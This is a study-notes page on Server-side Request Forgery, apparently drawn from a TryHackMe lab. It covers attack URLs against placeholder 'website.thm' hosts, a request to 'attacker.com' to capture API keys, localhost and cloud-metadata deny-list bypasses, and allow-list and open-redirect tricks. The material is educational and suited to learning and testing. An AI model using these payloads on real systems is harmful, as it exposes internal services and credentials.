🥦 kościelniak.pro

Appearance

On this page
1 linked note

Server-side Request Forgery

Server-side Request Forgery is a vulnerability that allows a malicious user to cause the webserver to make an additional or edited HTTP request to the resource of the attacker's choosing.

See also ​

Types of SSRF ​

There are two types of SSRF vulnerability:

  • a regular SSRF - data is returned to the attacker's screen
  • blind SSRF - an SSRF occurs, but no information is returned to the attacker's screen

Impact ​

A successful SSRF attack can result in any of the following:

  • Access to unauthorised areas
  • Access to customer/organisational data
  • Ability to Scale to internal networks
  • Reveal authentication tokens/credentials

Examples ​

URL manipulation ​

The client expects similar request:

http
http://website.thm/stock?url=http://api.website.thm/api/stock/item?id=123

By modifying the url query param, we might want to access different API endpoints, e.g.:

http
# hacker requests
http://website.thm/stock?url=http://api.website.thm/api/user

# client request the server
http://api.website.thm/api/user

# server returns the user data instead of stock information

With path-traversal ​

The client expects similar request:

http
http://website.thm/stock?url=/item?id=123

Even if we have control over the path, not the whole URL, by modifying the url param, we might want to access different API endpoints, e.g.:

http
# hacker requests
http://website.thm/stock?url=/../user

# client request the server
http://api.website.thm/api/stock/../user

# server returns the user data instead of stock information

Controlling the server's subdomain ​

The client expects similar request:

http
http://website.thm/stock?server=api&id=123
http
# hacker requests
http://website.thm/stock?server=api.website.thm/api/user&x=&id=123
                                [-------------------------]

# client request the server
http://api.website.thm/api/user?x=.website.thm/api/stock/item?id=123
     [----------------------------]                              [-]

# server returns the user data instead of stock information

We can control the server's subdomain to which the request is made (from server to api.website.thm/api/user).

The payload ending with &x= is used to stop the remaining path from being appended to the end of the URL and turns into parameter itself.

Forcing webapp to request another server ​

The attacker can force the webserver to request a server of the attacker's choice. By doing so, we can capture request headers that are sent to the attacker's specified domain. These headers could contain authentication credentials or API keys sent by website.thm (that would normally authenticate to api.website.thm).

The client expects similar request:

http
http://website.thm/stock?url=http://api.website.thm/api/stock/item?id=123
http
# hacker requests
http://website.thm/stock?url=http://attacker.com/

# webapp requests data from `attacker.com` revealing the API key

Finding a SSRF ​

SSRF vulnerabilities can be spotted in many different ways. Common examples:

  • A full URL used as a parameter in the address bar
    • https://website.thm/form?server=http://server.website.thm/store
  • A partial URL such as just the hostname
    • https://website.thm/form?server=api
  • Path of the URL
    • https://website.thm/form?dst=/forms/contact
  • In a hidden field in a form

Some of these examples are easier to exploit than others, and this is where a lot of trial and error will be required to find a working payload.

If working with a blind SSRF the output is not reflected back to us, so we'll need an external HTTP logging tool to monitor requests:

Bypassing SSRF defenses ​

Security-savvy developers aware of the SSRF may implement checks in their applications to make sure the requested resource meets specific rules. There are usually two approaches to this, as follows:

Deny List ​

All requests are accepted apart from resources specified in a list or matching a particular pattern.

A Web Application may employ a deny list to protect sensitive endpoints, IP addresses or domains from being accessed by the public while still allowing access to other locations.

A specific endpoint to restrict access is the localhost/127.0.0.1, which may contain server performance data or further sensitive information.

Attackers can bypass a Deny List by using alternative localhost references such as 0, 0.0.0.0, 0000, 127.1, 127.*.*.*, 2130706433, 017700000001 or subdomains that have a DNS record which resolves to 127.0.0.1 such as 127.0.0.1.nip.io.

Also, in a cloud environment, it would be beneficial to block access to the IP address 169.254.169.254, which contains metadata for the deployed cloud server, including possibly sensitive information. An attacker can bypass this by registering a subdomain on their own domain with a DNS record that points to the IP Address 169.254.169.254.

Allow List ​

An allow list is where all requests get denied unless they appear on a list or match a particular pattern, eg. a rule that an URL used in a parameter must begin with https://website.thm.

An attacker could quickly circumvent this rule by creating a subdomain on an attacker's domain name, such as https://website.thm.attackers-domain.thm. The application logic would now allow this input and let an attacker control the internal HTTP request.

Open Redirect ​

An open redirect is an endpoint on the server where the website visitor gets automatically redirected to another website address, e.g https://website.thm/link?url=https://tryhackme.com. This endpoint was created for statistics purposes.

But imagine there was a potential SSRF vulnerability with stringent rules which only allowed URLs beginning with https://website.thm/. An attacker could utilise the above feature to redirect the internal HTTP request to a domain of the attacker's choice.